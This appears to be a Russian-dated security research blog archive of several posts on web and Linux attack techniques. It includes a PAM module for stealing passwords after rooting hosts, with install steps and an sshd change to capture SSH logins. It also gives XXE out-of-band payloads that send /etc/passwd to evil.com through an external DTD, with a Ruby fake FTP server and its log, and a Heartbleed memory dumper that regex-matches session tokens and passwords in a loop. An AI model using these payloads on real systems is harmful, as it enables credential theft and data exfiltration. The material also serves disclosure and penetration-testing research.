понедельник, 25 апреля 2016 г.

New PHP extensions should be hardcoded :)

PHP 6 and PHP 7 are here.
Many applications still using blacklist filtration for upload and other file operations files.
Note, that now you should add ".php6" and ".php7" to this lists.

Finally it will looks like:
We are still recommend to use while lists to enumerate safe extensions.

среда, 9 декабря 2015 г.

One more useful PHP class for unserialize() bugs

In a hurry to share PHP common class for deserialization vulnerabilities.
It's FileCookieJar class of Guzzle project.

Look at its destructor https://github.com/guzzle/guzzle/blob/master/src/Cookie/FileCookieJar.php#L37-L61:
    public function __destruct()
     * Saves the cookies to a file.
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
    public function save($filename)
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
        if (false === file_put_contents($filename, json_encode($json))) {
            throw new \RuntimeException("Unable to save file {$filename}");
Who can construct valid exploit without hints? ;)
It's easy.

пятница, 6 ноября 2015 г.

Increases the power of PAM steal module.

A year ago we released our PAM steal module.
It's easiest and safest way to steal passwords and local privilege escalation.

Basically it catch passwords from sudo/su and local services which used PAM.
But not SSH daemon by default.
The fact that it uses the challenge-response authentication scheme. In this case password will be used to generate response (hash) on client side. And will not be going to server.

To fix this "issue" you can edit sshd.conf to disable
    Specifies whether challenge-response authentication is allowed
    (e.g. via PAM or though authentication styles supported in
    login.conf(5)) The default is ``yes''.

That's all. Now all passwords from SSH will be logged as well as $su typed passwords.
NOTICE! Please, use key-based auth anytime and sudo!

пятница, 5 сентября 2014 г.

WordPress 3.9.2- XXE through media upload (WAV ID3 tag)

Recently WordPress patched XXE vulnerability http://wordpress.org/news/2014/08/wordpress-3-9-2/ which were found during @ONsec_lab security audit of another one web-application.

Now time to describe this vulnerability in details!

The reason is GetID3 library which included into WordPress by default:
521     public static function XML2array($XMLstring) {
522             if (function_exists('simplexml_load_string')) {
523                     if (function_exists('get_object_vars')) {
524                             $XMLobject = simplexml_load_string($XMLstring);

Requires PHP 5.5.0- (simple_xml was patched to disable external entities since ~5.5.0)

To use this vulnerability attacker must have privileges to upload Media (editor privileges for example).

PoC is available at our GitHub repo: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav

5/12/14 vendor notified
5/15/14 vulnerability confirmed
8/06/14 fixed at version 3.9.2

пятница, 18 июля 2014 г.

PAM_steal plugin released

Typically pentest’s attack can be presented by the following schema:
perimeter -> command execution -> privileges escalation -> ...
The next step for pentesters is to gain privileges at other machines.
For example, it can be done by stealing credentials (one of many methods).
Passwords at local machine will be hashed and it's not so good to crack it due to the time.

SSH MITM (tool: http://www.signedness.org/tools/mitm-ssh.tgz) is a good one. It should be noticed though that passwords can be shared between many services and thus is also necessary.

PAM (Pluggable Authentification Module) provide dynamic authorization for applications and services in a Linux system. Our password logger plugin for PAM can be found here: https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

This is a good point after rooting machines during penetration tests.

Install process:
vim /etc/pam.d/common-auth
add "auth required pam_steal.so" into it
Then check /tmp/.steal.log - all FTP/SSH and other PAM-based daemon's passwords will be there!

понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://evil.com:8000/%b;'>">
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65

Java 1.7+:
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.

require 'socket'
server = TCPServer.new 8000 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
            puts "> 230 more data please!"
            client.puts("230 more data please!")

You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)

Finally got something like this: 

XXE payload: 
<?xml version="1.0"?>
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root:   root:   bin   bash

вторник, 8 апреля 2014 г.

Memory dumper based on CVE-2014-0160

You already know about this bug of course:

Just easy patch to original PoC: https://gist.github.com/ixs/10116537

 60 def hexdump(s):
 61   r = r"((sid|token|sess|pass|basic|oauth).*)"
 62   m = re.findall(r,s)
 63   print m
 64   sys.exit()
And some bash now:
~$ while true; do ./ssltest.py company.com >> regexped; done

We have plans to rewrite this PoC to use only one socket for multiple dumps.